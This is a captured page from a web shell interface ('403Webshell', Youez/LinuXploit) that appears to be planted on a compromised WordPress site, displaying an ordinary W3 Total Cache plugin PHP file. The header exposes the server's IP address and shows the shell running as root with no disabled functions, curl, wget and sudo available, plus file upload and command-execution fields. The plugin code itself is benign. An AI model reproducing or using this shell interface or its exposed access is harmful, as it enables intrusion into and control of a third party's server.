403Webshell
Server IP : 138.197.162.186  /  Your IP : 216.73.216.17
Web Server : nginx/1.24.0
System : Linux ubuntu-s-1vcpu-512mb-10gb-tor1 6.8.0-71-generic #71-Ubuntu SMP PREEMPT_DYNAMIC Tue Jul 22 16:52:38 UTC 2025 x86_64
User : root ( 0)
PHP Version : 8.3.6
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /var/www/html/yogaensalada-site/wp-content/plugins/w3-total-cache/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/html/yogaensalada-site/wp-content/plugins/w3-total-cache/UsageStatistics_AdminActions.php
<?php
/**
 * File: UsageStatistics_AdminActions.php
 *
 * @package W3TC
 */

namespace W3TC;

/**
 * Class UsageStatistics_AdminActions
 *
 * phpcs:disable PSR2.Classes.PropertyDeclaration.Underscore
 */
class UsageStatistics_AdminActions {
	/**
	 * Config
	 *
	 * @var Config
	 */
	private $_config = null;

	/**
	 * Constructor for the UsageStatistics_AdminActions class.
	 *
	 * Initializes the configuration property by retrieving settings from the Dispatcher.
	 *
	 * @return void
	 */
	public function __construct() {
		$this->_config = Dispatcher::config();
	}

	/**
	 * Disables usage statistics tracking.
	 *
	 * This method updates the configuration to disable usage statistics tracking
	 * by setting the 'stats.enabled' key to `false` and saving the configuration.
	 * It then redirects the user back to the appropriate location using `Util_Admin::redirect`.
	 *
	 * @return void
	 *
	 * @throws Exception If there is an error saving the configuration or during the redirect process.
	 */
	public function w3tc_ustats_note_disable() {
		$this->_config->set( 'stats.enabled', false );
		$this->_config->save();

		Util_Admin::redirect( array(), true );
	}
}

Youez - 2016 - github.com/yon3zu
LinuXploit